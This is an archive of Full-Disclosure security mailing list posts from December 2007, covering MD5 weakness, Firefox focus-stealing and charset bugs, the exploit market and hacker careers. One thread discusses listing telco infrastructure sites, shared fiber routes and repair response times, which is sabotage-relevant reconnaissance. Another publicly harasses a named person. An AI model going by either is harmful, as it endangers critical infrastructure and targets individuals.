http://www.goldwatches.com > _______________________________________________ > Full-Disclosure - We believe in it. > Charter: http://lists.grok.org.uk/full-disclosure-charter.html > Hosted and sponsored by Secunia - http://secunia.com/ -- Enno Rey ERNW GmbH - Breslauer Str. 28 - 69124 Heidelberg - www.ernw.de Tel. +49 6221 480390 - Fax 6221 419008 - Cell +49 173 6745902 PGP FP 055F B3F3 FE9D 71DD C0D5 444E C611 033E 3296 1CC1 Handelsregister Heidelberg: HRB 7135 Geschaeftsfuehrer: Roland Fiege, Enno Rey From tim-security at sentinelchicken.org Sat Dec 1 19:20:21 2007 From: tim-security at sentinelchicken.org (Tim) Date: Sat, 1 Dec 2007 14:20:21 -0500 Subject: [Full-disclosure] MD5 algorithm considered toxic (and harmful) In-Reply-To: <20071201175147.GA85617@ws23.ernw.de> References: <26439.65.88.218.157.1196522453.squirrel@slashmail.org> <8a6b8e350712010939g1fee081eqd7815ba53a594b25@mail.gmail.com> <20071201175147.GA85617@ws23.ernw.de> Message-ID: <20071201192020.GD2079@sentinelchicken.org> > because they perform risk-analysis: > - what are the threats to my assets? > - which role does MD5 play there? > - any subsequent risk then from using it? > - high priority risk? mitigating controls or risk acceptance? Don't kid yourself. Very few businesses in my experience think about this stuff when they go to use a hash. Most just use whatever hash they're used to using. I rarely see clients actually sitting down and thinking about what the application of a given hash is and what the threats are in their specific case. > would you be so kind to show me a real-world attack against a VPN > using MD5 hashing? ... Assuming there are no real-world attacks against your particular VPN that uses MD5, does that make it safe for the rest of us in any given application? A rather leading question IMO. tim From staticrez at gmail.com Sat Dec 1 20:00:22 2007 From: staticrez at gmail.com (Static Rez) Date: Sat, 1 Dec 2007 15:00:22 -0500 Subject: [Full-disclosure] Firefox 2.0.0.11 File Focus Stealing vulnerability In-Reply-To: <997ef2c20712010937q1cc66354w78ac71761b31f1a0@mail.gmail.com> References: <1200694.87911196522696390.JavaMail.juha-matti.laurio@netti.fi> <997ef2c20712010937q1cc66354w78ac71761b31f1a0@mail.gmail.com> Message-ID: <5d80962a0712011200m280cfceblbf0bec30a86d0b56@mail.gmail.com> Doesn't work in Gran Paradiso 3.0a7 On Dec 1, 2007 12:37 PM, Nate McFeters wrote: > > More than likely all the gecko based browsers will be vulnerable to this. > So that would include Mozilla, Camino, SeaMonkey... possibly even things > like Thunderbird if you could get it to render. > > Nice find guys! > > Nate > > On 12/1/07, Juha-Matti Laurio wrote: > > > > Netscape Navigator version 9.0.0.4 is affected too. Test done with > > PoC-type URL mentioned on Mac OS X 10.4.10 fully patched. > > Vendor was contacted on 1st Dec 2007. > > > > - Juha-Matti > > > > carl hardwick wrote: > > > Firefox 2.0.0.11 File Focus Stealing vulnerability: > > > > > > Sorry Mozilla, but the recent file focus fix was not enough. I think > > > Mozilla made another mistake while fixing the previous file/label > > > issue. Because now I embed a file field and a textfield inside one > > > label. When this happens, and you type only one time in the textfield, > > > the focus travels to the file field and the value travels with it. > > > Back to the drawing board I would say. I only got it to work in > > > Firefox, Gareth checked Safari for me, and it also works in Safari. I > > > guess this type of exploit could function on other HTML objects as > > > well, and could be very dangerous because it only requires a one time > > > focus in a textfield. > > > > > > PoC here: > > > > > http://carl-hardwick.googlegroups.com/web/Firefox20011StealFocusFlaw.htm > > > > > > > _______________________________________________ > > Full-Disclosure - We believe in it. > > Charter: http://lists.grok.org.uk/full-disclosure-charter.html > > Hosted and sponsored by Secunia - http://secunia.com/ > > > > > _______________________________________________ > Full-Disclosure - We believe in it. > Charter: http://lists.grok.org.uk/full-disclosure-charter.html > Hosted and sponsored by Secunia - http://secunia.com/ > -------------- next part -------------- An HTML attachment was scrubbed... URL: http://lists.grok.org.uk/pipermail/full-disclosure/attachments/20071201/98603232/attachment.html From psz at maths.usyd.edu.au Sat Dec 1 20:30:47 2007 From: psz at maths.usyd.edu.au (Paul Szabo) Date: Sun, 2 Dec 2007 07:30:47 +1100 Subject: [Full-disclosure] Firefox explicit charset inheritance Message-ID: <200712012030.lB1KUlFo013154@asti.maths.usyd.edu.au> I found that Firefox 2.0.0.10 will inherit the charset of the parent page, when that had been selected manually (does not inherit the charset specified in headers or meta). I found this inheritance to work both with [a href] links and [iframe src] in the parent page. See also: http://www.mozilla.org/security/announce/2007/mfsa2007-02.html https://bugzilla.mozilla.org/show_bug.cgi?id=356280 Cheers, Paul Szabo psz at maths.usyd.edu.au http://www.maths.usyd.edu.au/u/psz/ School of Mathematics and Statistics University of Sydney Australia From pauls at utdallas.edu Sat Dec 1 21:21:02 2007 From: pauls at utdallas.edu (Paul Schmehl) Date: Sat, 01 Dec 2007 15:21:02 -0600 Subject: [Full-disclosure] MD5 algorithm considered toxic (and harmful) In-Reply-To: <20071201192020.GD2079@sentinelchicken.org> References: <26439.65.88.218.157.1196522453.squirrel@slashmail.org> <8a6b8e350712010939g1fee081eqd7815ba53a594b25@mail.gmail.com> <20071201175147.GA85617@ws23.ernw.de> <20071201192020.GD2079@sentinelchicken.org> Message-ID: <5A6842764BDB4DDFF2D38F4A@paul-schmehls-powerbook59.local> --On December 1, 2007 2:20:21 PM -0500 Tim wrote: >> because they perform risk-analysis: >> - what are the threats to my assets? >> - which role does MD5 play there? >> - any subsequent risk then from using it? >> - high priority risk? mitigating controls or risk acceptance? > > Don't kid yourself. Very few businesses in my experience think about > this stuff when they go to use a hash. Most just use whatever hash > they're used to using. I rarely see clients actually sitting down and > thinking about what the application of a given hash is and what the > threats are in their specific case. > > >> would you be so kind to show me a real-world attack against a VPN >> using MD5 hashing? ... > > Assuming there are no real-world attacks against your particular VPN > that uses MD5, does that make it safe for the rest of us in any given > application? A rather leading question IMO. > While I don't think it's time to panic, it's definitely time to begin moving to SHA-256 and stop using MD-5. FreeBSD has already done so in its ports system, although you can still use MD-5 as well. But far too many downloads still use MD-5 or **no checksum at all**, and that is a problem. While collisions in MD-5 are now proven, what I've not seen yet is the ability to alter a legitimate file or tarball yet generate the same checksum. It *is* theoretically possible, however, and the fact that collisions have been proven should be enough to begin abandoning its use IMO. Paul Schmehl (pauls at utdallas.edu) Senior Information Security Analyst The University of Texas at Dallas http://www.utdallas.edu/ir/security/ From isbackgobbles at googlemail.com Sat Dec 1 21:24:23 2007 From: isbackgobbles at googlemail.com (Gobbles is back) Date: Sat, 1 Dec 2007 21:24:23 +0000 Subject: [Full-disclosure] Phioust is now getting really emotional ... Message-ID: <679de8620712011324x6d5733c8j2f128200b887dcb2@mail.gmail.com> Phioust, we love you .. google your name for the christmas gift !!! ---------- Forwarded message ---------- From: phioust Date: Dec 1, 2007 2:33 PM Subject: Re: spam? To: Gobbles is back Why are you doing this ? i dont even know you. i would appriciate if you really stop doing this. incase i have offended anyone of you in the past in any way , i did not mean to .. Infact i think its quite cool what you guys are doing to matasano .. so please stop this .. its a honest request, sorry. On Dec 1, 2007 4:32 AM, Gobbles is back < isbackgobbles at googlemail.com> wrote: > You lil fucking idiot !!! now this mail of yours will be on Full D too, > sadly with your dumb turky name and those useless degrees ... lol > > > -------------- next part -------------- An HTML attachment was scrubbed... URL: http://lists.grok.org.uk/pipermail/full-disclosure/attachments/20071201/c9f66a1b/attachment.html From isbackgobbles at googlemail.com Sat Dec 1 22:09:36 2007 From: isbackgobbles at googlemail.com (Gobbles is back) Date: Sat, 1 Dec 2007 22:09:36 +0000 Subject: [Full-disclosure] Phioust is now getting really emotional ... In-Reply-To: <679de8620712011324x6d5733c8j2f128200b887dcb2@mail.gmail.com> References: <679de8620712011324x6d5733c8j2f128200b887dcb2@mail.gmail.com> Message-ID: <679de8620712011409n4bdf20f3u61b3b106bbe508c4@mail.gmail.com> Phioust, we love you .. google your name for the christmas gift !!! ---------- Forwarded message ---------- From: phioust < phioust at gmail.com> Date: Dec 1, 2007 2:33 PM Subject: Re: spam? To: Gobbles is back why are you doing this ? i dont even know you. i would appreciate if you really stop doing this. incase i have offended anyone of you in the past in any way , i did not mean to. infact i think its quite cool what you guys are doing to matasano. so please stop this, its a honest request, sorry. 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URL: http://lists.grok.org.uk/pipermail/full-disclosure/attachments/20071201/902b4d56/attachment.html From randallm at fidmail.com Sat Dec 1 22:57:11 2007 From: randallm at fidmail.com (Randy Mueller) Date: Sat, 01 Dec 2007 16:57:11 -0600 Subject: [Full-disclosure] Full-Disclosure Digest, Vol 34, Issue 1 In-Reply-To: References: Message-ID: <4751E6C7.5070604@fidmail.com> > ------------------------------ > > Message: 6 > Date: Fri, 30 Nov 2007 23:44:07 +0100 > From: "Max Moser" > Subject: [Full-disclosure] 27Mhz based wireless security insecurities > - Aka - "We know what you typed last summer" > To: full-disclosure at lists.netsys.com, full-disclosure at netsys.com, > "Full Disclosure" > Message-ID: > > Content-Type: text/plain; charset=ISO-8859-1 > > Dear List members, > > Today the team remote-exploit.org together with Dreamlab Technologies likes > to release another piece of uniq research work. > > [snip} > Max Moser & Philipp Schroedel > Dreamlab Technologies AG / Team remote-exploit.org > > > > ------------------------------ > 1. Thought is was great 2. Thought it was funny I had to "Allow" remote-exploit.org on Firefox Noscript! 3. Anyway you can share that software??!!! From coderman at gmail.com Sat Dec 1 23:09:32 2007 From: coderman at gmail.com (coderman) Date: Sat, 1 Dec 2007 15:09:32 -0800 Subject: [Full-disclosure] MD5 algorithm considered toxic (and harmful) In-Reply-To: References: Message-ID: <4ef5fec60712011509qc21ddb9x769de40b1544b34a@mail.gmail.com> On Dec 1, 2007 5:06 AM, Kristian Erik Hermansen wrote: > [MD5 is dead like WEP] yup. > And since Chinese researchers have been > attacking SHA-1 lately, should SHA-256 be considered the proper > replacement? SHA2 is good. (so 256 or 512). the design differs from SHA1 and avoids the weaknesses being exploited against this hash func. still, ~2^69 collision resistance for SHA1 is a world of security better than MD5. iMD5 is really dead, lingering only to feast on the brains of the unawares... From coderman at gmail.com Sat Dec 1 23:36:36 2007 From: coderman at gmail.com (coderman) Date: Sat, 1 Dec 2007 15:36:36 -0800 Subject: [Full-disclosure] High Value Target Selection In-Reply-To: <47518753.9030006@rogers.com> References: <47505E42.90503@rogers.com> <4ef5fec60711302127i3e7baef0vf055d8a6592a5ee7@mail.gmail.com> <47518753.9030006@rogers.com> Message-ID: <4ef5fec60712011536t79f77c51x918090aae280405c@mail.gmail.com> On Dec 1, 2007 8:09 AM, gmaggro wrote: > ... > Why not advocate? If you did get in trouble for this post, I don't think > adding a caveat like "of course not advocation" would help you much, if > at all. Like those quips in Phrack or Paladin Press books "For > educational purposes only". Bwahahaha! Paladin Press, now you're taking me back... ah, the days. not advocating because as funny as some dude in jeans and a t-shirt firing up a thermal lance would seem, in the end the darwin awards need no assistance. also, i don't want them cloggin' ma tubes! jeez mang. > Really, how much trouble could we get in if we posted up a list of > street addresses, each address being a building that contained > significant telco and/or routing infrastructure? try it, it's amusing. remember the all the photogs getting hassled by the man for merely taking pictures of bridges and plants and such? if you're actually effective at amassing a good database of infrastructure information you'll get the attention you so desperately crave; i promise! :P~ > Probably be some interesting/useful information poking around BGP land > and looking at ASs and their relationships in more detail. Especially > when cross-referenced to actual physical locations. not really, focus on the physical transport. the MPLS/IP layers just confirm what you should have suspected all along: apparent diversity at the routing layer is sharing way too much of the same physical transport. (in telco land, one SONET span over aerial transport and the other buried plant is considered sufficient "path diversity/redundancy". never mind that the same right of way is used...) > http://xkcd.com/195/ xkcd is highly recommended. in particular, a Shibboleth to sift the pyro-anarcho-dimwits from those who recognize more effective means at expressing and redressing grievances against their government. one last hint: news feeds are a great way to discern details about critical infrastructure and response times for repair. don't forget to set your google news alerts... From juha-matti.laurio at netti.fi Sun Dec 2 00:13:51 2007 From: juha-matti.laurio at netti.fi (Juha-Matti Laurio) Date: Sun, 2 Dec 2007 02:13:51 +0200 (EET) Subject: [Full-disclosure] Firefox 2.0.0.11 File Focus Stealing vulnerability Message-ID: <23227044.113251196554431449.JavaMail.juha-matti.laurio@netti.fi> N/A unfortunately, but BID26669 points to entries https://bugzilla.mozilla.org/show_bug.cgi?id=258875 and https://bugzilla.mozilla.org/show_bug.cgi?id=56236 via this older one advisory: http://www.securityfocus.com/bid/18308/references Link: http://www.securityfocus.com/bid/26669/discuss (Probably BID18038 mentioned is a typo...) - Juha-Matti "Randal, Phil" kirjoitti: > > And the Mozilla bugzilla number is? > > > -----Original Message----- > From: full-disclosure-bounces at lists.grok.org.uk > [mailto:full-disclosure-bounces at lists.grok.org.uk] On Behalf Of > Juha-Matti Laurio > Sent: 01 December 2007 15:25 > To: carl hardwick; full-disclosure at lists.grok.org.uk > Subject: Re: [Full-disclosure] Firefox 2.0.0.11 File Focus Stealing > vulnerability > > Netscape Navigator version 9.0.0.4 is affected too. Test done with > PoC-type URL mentioned on Mac OS X 10.4.10 fully patched. > Vendor was contacted on 1st Dec 2007. > > - Juha-Matti > > carl hardwick wrote: > > Firefox 2.0.0.11 File Focus Stealing vulnerability: > > > > Sorry Mozilla, but the recent file focus fix was not enough. I think > > Mozilla made another mistake while fixing the previous file/label > > issue. Because now I embed a file field and a textfield inside one > > label. When this happens, and you type only one time in the textfield, > > > the focus travels to the file field and the value travels with it. > > Back to the drawing board I would say. I only got it to work in > > Firefox, Gareth checked Safari for me, and it also works in Safari. I > > guess this type of exploit could function on other HTML objects as > > well, and could be very dangerous because it only requires a one time > > focus in a textfield. > > > > PoC here: > > http://carl-hardwick.googlegroups.com/web/Firefox20011StealFocusFlaw.h > > tm > > From Valdis.Kletnieks at vt.edu Sun Dec 2 03:08:38 2007 From: Valdis.Kletnieks at vt.edu (Valdis.Kletnieks at vt.edu) Date: Sat, 01 Dec 2007 22:08:38 -0500 Subject: [Full-disclosure] MD5 algorithm considered toxic (and harmful) In-Reply-To: Your message of "Sat, 01 Dec 2007 05:06:36 PST." References: Message-ID: <21403.1196564918@turing-police.cc.vt.edu> On Sat, 01 Dec 2007 05:06:36 PST, Kristian Erik Hermansen said: > I know of many commercial security products which still utilize MD5 to > prove integrity of the data they distribute to customers. This should > no longer be considered appropriate. Now that tools are readily > available to exploit newer MD5 collision research, I think it is safe > to say that the public should retire its usage for good. Admittedly, MD5 is on its last legs. However, please note that the current state of the art for MD5 collisions is "create two plaintexts that collide with the same (but unpredictable) MD5 hash". That's what these binaries demonstrate. What is still *not* known to be doable is "given a plaintext that has a pre-specified MD5 hash, compute a second plaintext with the same hash". So publishing the MD5 hash of the binary is still safe - for now. If I was a vendor, I'd be publishing both MD5 and SHA-256 for the data. (Note that strictly speaking, what you *really* want is a PGP-signed or otherwise authenticated MD5/SHA-256 hash. Otherwise, if I'm an attacker, I can just splat a new binary up, and a new MD5SUMS file that lists the MD5 sum for the backdoored binaries. If anything, more people manage to screw *this* part up than the much lesser offense of still using MD5 rather than something from the SHA-2 family).... -------------- next part -------------- A non-text attachment was scrubbed... Name: not available Type: application/pgp-signature Size: 226 bytes Desc: not available Url : http://lists.grok.org.uk/pipermail/full-disclosure/attachments/20071201/19ce617b/attachment.bin From kristian.hermansen at gmail.com Sun Dec 2 03:31:53 2007 From: kristian.hermansen at gmail.com (Kristian Erik Hermansen) Date: Sat, 1 Dec 2007 19:31:53 -0800 Subject: [Full-disclosure] MD5 algorithm considered toxic (and harmful) In-Reply-To: <21403.1196564918@turing-police.cc.vt.edu> References: <21403.1196564918@turing-police.cc.vt.edu> Message-ID: On Dec 1, 2007 7:08 PM, wrote: > Admittedly, MD5 is on its last legs. However, please note that the current > state of the art for MD5 collisions is "create two plaintexts that collide > with the same (but unpredictable) MD5 hash". That's what these binaries > demonstrate. Correct... > What is still *not* known to be doable is "given a plaintext that has a > pre-specified MD5 hash, compute a second plaintext with the same hash". > So publishing the MD5 hash of the binary is still safe - for now. But is it? Let's create a thought experiment. Let us first assume that an internal security product release engineer has access to the source code, the product binaries, and is responsible for creating ISO images and MD5 hashes to accompany them for distribution to government agencies which will utilize the security product internally. OK, now let's say that this release engineer wants to create two different ISO images, each with a different AUTORUN feature on the disc. Since he has the ability to choose the hash here, then we must therefore conclude that MD5 will not actually ensure that the disc is legitimate and unaltered. Now, such an attack is not as sexy as colliding with a pre-formed MD5 hash, but we do know that approximately 70% of exploited security issues somehow involve internal personnel. > If I was a vendor, I'd be publishing both MD5 and SHA-256 for the data. So my question to you then is why even bother with MD5, and not just choose to use SHA-256 instead? In fact, I might even go so far to say that future Linux distributions should stop including the md5sum program in default installations. I say this because it correlates with the "secure by default" motto. If the user really needs md5sum, they can install it separately. The only issue is that both applications are included in coreutils, so it is unlikely that they would ever be separated. > (Note that strictly speaking, what you *really* want is a PGP-signed or > otherwise authenticated MD5/SHA-256 hash. Otherwise, if I'm an attacker, > I can just splat a new binary up, and a new MD5SUMS file that lists the > MD5 sum for the backdoored binaries. If anything, more people manage to > screw *this* part up than the much lesser offense of still using MD5 rather > than something from the SHA-2 family).... Yeah, storing your MD5 and binary on the same asset is just like keeping your important security logs on a system that was just compromised. Your data is tainted... -- Kristian Erik Hermansen "I have no special talent. I am only passionately curious." From gmaggro at rogers.com Sun Dec 2 04:13:31 2007 From: gmaggro at rogers.com (gmaggro) Date: Sat, 01 Dec 2007 23:13:31 -0500 Subject: [Full-disclosure] High Value Target Selection In-Reply-To: <4ef5fec60712011536t79f77c51x918090aae280405c@mail.gmail.com> References: <47505E42.90503@rogers.com> <4ef5fec60711302127i3e7baef0vf055d8a6592a5ee7@mail.gmail.com> <47518753.9030006@rogers.com> <4ef5fec60712011536t79f77c51x918090aae280405c@mail.gmail.com> Message-ID: <475230EB.2030404@rogers.com> > (in telco land, one SONET span over aerial transport and the other buried > plant is considered sufficient "path diversity/redundancy". never mind that > the same right of way is used...) Ah yes, I remember an old story not too dissimilar... multiple redundant lines, all severed at the same time with the same backhoe. Idiots. Anyone dig really deeply into that Maltego/Evolution program From Paterva (http://www.paterva.com/web/Maltego/index.html)? It looks interesting. HD Moore references it in that 'Tactical Exploitation' PDF (http://milw0rm.com/papers/172) which is itself a good primer for novitiates. From paul.goebbels at freemail.hu Sun Dec 2 05:12:54 2007 From: paul.goebbels at freemail.hu (Goebbels Amadeus) Date: Sun, 2 Dec 2007 06:12:54 +0100 (CET) Subject: [Full-disclosure] Hell Camp: A Terrifying Story of Lies and Middle-Men Message-ID: Despite the misleading subject of my e-mail, I want to bring to attention an important topic which hasn't been discussed enough among the security industry: the exploit and vulnerability research market. Since this might be a vastly secretive community, I will introduce some of the members of this dramatically disturbing tale: Since a few years ago, few companies emerged, who offer rewards for exploit information and vulnerability research. In the beginning, only iDefense (US-based) openly disclosed its activities. In the last 3-7 years we have seen ZDI (TippingPoint, now 3Com and soon its Chinese major shareholder..), WSLabi (the failed attempt on creating an auction market model for these sales) and Netragard (the old DMCA publicity stunt SNOsoft). Now I'll start telling a tale of distrust, lies, middle men and other creatures of the infraworld... Once upon a time, there was an increasingly powerful work force capable of crafting weapons which existed only in a digital world. This force didn't have a name. They didn't pursue certifications. They were anonymous. But some realized they also had the power of influencing people, controlling the flow of information from anywhere at any time. Humanity has seen for ages how the power of controlling information can take down whole nations. Nowadays, in an open and free market, the corporate world is nothing but a battlefield. There's no crimson tie. No blood escaping the bodies of its soldiers. The soldiers are John Does, fighting for a decent paycheck at any cost, selling out their spirits and time for the corporate machine. Selling out their comrades and dignity. Losing the values, principles and matter that make them human. Unknowingly, they are becoming mere tools of few individuals who have a neverending desire for fame and wealth. Have you ever considered your future in their hands? You've been working for 50 years, your liver and kidneys start failing, creating visible symptoms, stains in your skin. You can't handle life in the same way anymore. For what? What have you done in those 50 years but serving another man to become more wealthy and over powered. The approaching day of your death and its mere vision strikes you like a burning iron blade. In this New Age battlefield, you can make a difference. A talented youth started emerging and dedicated passionately to fulfill its curiosity. Day after day, spending countless hours in front of a machine. Understanding it's inner design and details, breaking it apart and reassembling it the way it wasn't meant to be assembled. Some others dedicated painful discipline to physical work and trained themselves for achieving perfection in both intellectual and physical matters. Others fell in the way and never made it to the final round. After realizing they could not let the corporate world exhaust them, they tried another way. The emerging market of digital ammunition seemed to be a potential solution for their problems. But, unbeknown to them, they were wrong. They didn't think at first glance of the impossibly huge amounts of lies and fallacies they were about experience. Because in a world where you can claim something while denying your obligation to prove it, the only power that is left is that of common sense and intuition. The ability to sense the deceitful and know the truthful. Once day, our John Doe decided to approach an independent digital weapons dealer, looking for better offers than those coming from more established business men. He knew that more then business men, they were only middle men. After numerous experiences with these little twerps, he realized they were also abusing their condition. John was also especially disappointed with the fact that in the world of digital ammunitions, there's no real way of providing the goods without turning them instantly useless and vulnerable to abuse. John knew that these middle men were taking cuts far higher than their alleged 10 to 15 percent of the sale. How could John prove it otherwise? There was no way of ensuring that their contacts were getting the very exact figure John demanded. Despite this fact, John also realized that in this market of smoke, the seller is not supposed to set the price of the goods. These middle men, in their great mistake of thinking that wisdom and knowledge are the very same thing, wanted John to believe that they were the ones who set the price of the goods. John's disappointment was growing to incredibly high stakes: "As a child, whenever I tried to tell the candy shop clerk that the chocolate bars cost as much as the peanut butter ones, he simply tried to smack my head down. I wasn't supposed to even swap the labels in a failed attempt to fool this man, who had been making candy bars for more time than I was actually able to barely say my name." John had been crafting digital weapons for so many time, with such a high talent and effectiveness, that he was much less dispensable than this middle men. His personal background, of an extremely tough childhood full of misery and hostility, also gave him the necessary wisdom and experience in this world for quickly spotting the weaknesses of these ego-crazed men. Their weakness lies in the fact that without John and his comrades, they have no business. They lack far more than just knowledge. They lack wisdom, passion and truly devoted dedication to whatever they do. Sooner or later they will make the same mistake of other weapon dealers: getting killed with their own goods. Hypocrisy among these poorly educated middle-men was so high, that they resorted to low tricks and ridiculous attempts to gain the trust of people like John. They went as far as insulting the intelligence of those who provided them with the goods they are unable to produce themselves. No matter how hard the tried, it never brought anything back but silence. The silence that can be clearly understood as a fully precise signal of genuine despise. The fundamental error behind their approach is that trust can't be gained for cheering, boosting the ego, claiming great benefits and wealth. Trust is something sculpted in hard rock, taking years to become an admirable master piece. It doesn't come attached to an email. At the end, John and his comrades found out that wasting their time with these miserable beings was far less than fruitful. It was exhausting them as much as the corporate world did. They realized that any day above ground is a good day. Let the snakes change their skin and show their true colors. In the desert, being unable to match with environment has deadly consequences. It might take years, or decades, but time will set them all where they belong. Life does not forgive and everything has come to an end... because they lack of patience, the end will approach their nefarious activities sooner than they ever thought and John and his comrades will be free again. And this tale has to come to an end itself... the end of a story about middle-men and their madness. Time's striking force. - Paul Amadeus Goebbels Lemondta, de m?g nem k?t?tt ?jat? Vil?gbajnok ?rainkkal k?ss?n OLCS?BB K?TELEZ?T! ________________________________________________________ http://www.biztositas.hu/origo_aloldal/okgfb_rovat From Valdis.Kletnieks at vt.edu Sun Dec 2 05:24:17 2007 From: Valdis.Kletnieks at vt.edu (Valdis.Kletnieks at vt.edu) Date: Sun, 02 Dec 2007 00:24:17 -0500 Subject: [Full-disclosure] High Value Target Selection In-Reply-To: Your message of "Sat, 01 Dec 2007 23:13:31 EST." <475230EB.2030404@rogers.com> References: <47505E42.90503@rogers.com> <4ef5fec60711302127i3e7baef0vf055d8a6592a5ee7@mail.gmail.com> <47518753.9030006@rogers.com> <4ef5fec60712011536t79f77c51x918090aae280405c@mail.gmail.com> <475230EB.2030404@rogers.com> Message-ID: <28972.1196573057@turing-police.cc.vt.edu> On Sat, 01 Dec 2007 23:13:31 EST, gmaggro said: > Ah yes, I remember an old story not too dissimilar... multiple redundant > lines, all severed at the same time with the same backhoe. Idiots. To be fair, it's often not "idiots". First, you have to find 2 providers that can get fiber from point A to point B at all (note that if one or the other doesn't already have dark fiber laid, they're either digging a ditch or they're going to lease some fiber from a 3rd party). Then you often need to do NDA's with both to find out where their fibers are and verify that they in fact are diverse. And then you need to make sure they *stay* diverse. The following happens a *LOT*: 1) You get Vendor A to give you 4 pairs of fiber that run south on B Avenue, east on 3rd street, south on D ave, east on 5th st, and then south on E Av. Vendor B's runs south on C avenue, east on 6th street, then south on F Av. Except for a few crossovers, they're diverse. 2) Vendor B has to re-groom because of a construction project at C Av & 5th st. So they re-route to another conduit (not A's) that runs east on 3rd st to F av. 3) Bozo with a backhoe on a water main break nails both conduits on 3rd street between C Ave and D Ave. What are your chances of getting vendor A to re-groom your paths off 3rd St while B has their path going down that street, and then put them back once B goes back the other way after the construction at C and 5th is done? Note that sometimes, there really *isn't* a good way to get diversity - how many ways are there to get an east-west long-haul fiber across the Mississippi between St Louis and New Orleans? Your choices are limited - under the bottom of an interstate highway bridge right next to your competitor's conduit, or you get to trench all the way across the river, and hope you put it deep enough so if they ever have to dredge the channel, you won't get hit. Similar issues apply to Manhattan and a lot of other places. -------------- next part -------------- A non-text attachment was scrubbed... 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If anything, more people manage to > screw *this* part up than the much lesser offense of still using MD5 rather > than something from the SHA-2 family).... this has come up recently in situations like the hushmail trojan'd applets and so forth. consider a court order that compels you to sign a given backdoor'd product in use by a targeted individual. in this case, the use of signatures provides less security than comparing public checksums. (because you'd notice that your particular download has a different sum, while comparing signatures you'd assume it was legitimate.) ideally everyone would compare both a signature (a trusted source provided it) as well as a public checksum (let's assume you can do so out of band securely using archives or other channel not actively controlled by an attacker). i know that signatures include a checksum, but this is hidden by the verification process. the human really needs to be in the loop for both. best regards, p.s. for the tin foil hat crowd, those digital sigs are looking weaker every year compared to cryptographic hash functions and block ciphers: http://dwave.wordpress.com/2007/11/26/slides-from-sc07-progress-in-quantum-computing-panel/ not to mention GNFS improvements the last few years... (ok, i admit, i love an excuse to reference Mr. T) From coderman at gmail.com Sun Dec 2 06:28:38 2007 From: coderman at gmail.com (coderman) Date: Sat, 1 Dec 2007 22:28:38 -0800 Subject: [Full-disclosure] authentic hackers still do it for the love ... (was: Hell Camp: It never pays enough) Message-ID: <4ef5fec60712012228oe7333a2t894b553628f1d8c@mail.gmail.com> On Dec 1, 2007 9:12 PM, Goebbels Amadeus wrote: > ... > Have you ever considered your future in their hands? You've > been working for 50 years, your liver and kidneys start failing, > creating visible symptoms, stains in your skin. You can't handle > life in the same way anymore. For what? What have you done in > those 50 years but serving another man to become more wealthy > and over powered. The approaching day of your death and its > mere vision strikes you like a burning iron blade. > ... > talented youth started emerging and dedicated passionately to > fulfill its curiosity. Day after day, spending countless hours > in front of a machine. Understanding it's inner design and > details, breaking it apart and reassembling it the way it wasn't > meant to be assembled. > > [a parable of looking for filthy lucre in a trade of love, only to > to discover that these dark funds have tainted the joy and > purity of a process and lifestyle that once brought fulfillment] sooner or later every authentic hacker discovers that you must separate work from play. when you try and mix them both you betray the joy and fulfillment of hacking for a paycheck, and it never pays enough. the ability of a person to deny and downplay this reality will determine their ability to abide the infosecwhore industry. as captain of their own independent ship they can insulate themselves from much of this whoreish taint, but sooner or later a labor for lucre will destroy the love. no need to preach, the authentic hacker will discover this on their own accord sooner or later. it is inevitable. for those of you on the cusp of this realization and ready to start anew, do it. abandon ship. find a comfy admin or analyst position with decent benefits and a wage that pays the mortgage. adopt that pseudonym and rediscover the joy of hacking for its own sake. the rewards are still there, worth more than a dollar can provide... --- as with any broad categorization there are exceptions to this rule. there is a minuscule minority that has found an amalgamation sufficiently lucrative and deeply enjoyable without compromising on any personal integrity. to these people i say: you lucky fucks! may i find such fortune one day... From pdp.gnucitizen at googlemail.com Sun Dec 2 08:48:52 2007 From: pdp.gnucitizen at googlemail.com (pdp (architect)) Date: Sun, 2 Dec 2007 08:48:52 +0000 Subject: [Full-disclosure] authentic hackers still do it for the love ... (was: Hell Camp: It never pays enough) In-Reply-To: <4ef5fec60712012228oe7333a2t894b553628f1d8c@mail.gmail.com> References: <4ef5fec60712012228oe7333a2t894b553628f1d8c@mail.gmail.com> Message-ID: <6905b1570712020048t8c49b53rbf30e7a21d2e50b0@mail.gmail.com> right, this is what I like to call hacker romanticism, but do you know what? it does not work this way! only in the movies, I guess! so if you are a hacker, if you truly believe that you are a hacker, then you will find a way to be better off then anybody else without the need to break any laws and without compromising your passions at all. there is one very old Chinese saying: "find a job that you love and you will never work for the rest of your life". Being a technically talented person and spending your life as a poor sysadmin is plain stupid not to say completely unnecessary. Running away from money because you think that they will corrupt you or they will compromise your identity is also quite retarded to say, don't you think? money are just means to an end, a tool of trade, and sometimes this is exactly what you need in order to cross to the next level. hacking is not about the inner geek and the vision of the lonely cyber worrier. hacking is about outsmarting others. it is about thinking creatively and moreover, thinking differently. if you can hack computer systems, then hack life. you will soon realize the the skills that you have obtained while being a technical hacker can be applied to many other disciplines, and these skills are more valuable then you think. collecting the fruits of your work is the most rewarding feeling. the problem I see is that hacking has become something that is not. the computer security hacker circles lost the sense of creativity and turned it into plain procedure. most, if not all, of the security vulnerabilities discovered today are discovered due to simple rules. you do this, you run that, you wait, you've got it. this is not hacking. given enough time, anybody can learn that. but embracing the mindset is something that a few can do. btw, GC is currently running a project to show the reality of what I've juts said. it is still in very initial stage but it will get better with the time: hakiri.com On Dec 2, 2007 6:28 AM, coderman wrote: > On Dec 1, 2007 9:12 PM, Goebbels Amadeus > wrote: > > ... > > Have you ever considered your future in their hands? You've > > been working for 50 years, your liver and kidneys start failing, > > creating visible symptoms, stains in your skin. You can't handle > > life in the same way anymore. For what? What have you done in > > those 50 years but serving another man to become more wealthy > > and over powered. The approaching day of your death and its > > mere vision strikes you like a burning iron blade. > > ... > > talented youth started emerging and dedicated passionately to > > fulfill its curiosity. Day after day, spending countless hours > > in front of a machine. Understanding it's inner design and > > details, breaking it apart and reassembling it the way it wasn't > > meant to be assembled. > > > > [a parable of looking for filthy lucre in a trade of love, only to > > to discover that these dark funds have tainted the joy and > > purity of a process and lifestyle that once brought fulfillment] > > sooner or later every authentic hacker discovers that you must > separate work from play. when you try and mix them both you > betray the joy and fulfillment of hacking for a paycheck, and it > never pays enough. > > the ability of a person to deny and downplay this reality will > determine their ability to abide the infosecwhore industry. > > as captain of their own independent ship they can insulate > themselves from much of this whoreish taint, but sooner or > later a labor for lucre will destroy the love. > > no need to preach, the authentic hacker will discover this > on their own accord sooner or later. it is inevitable. > > for those 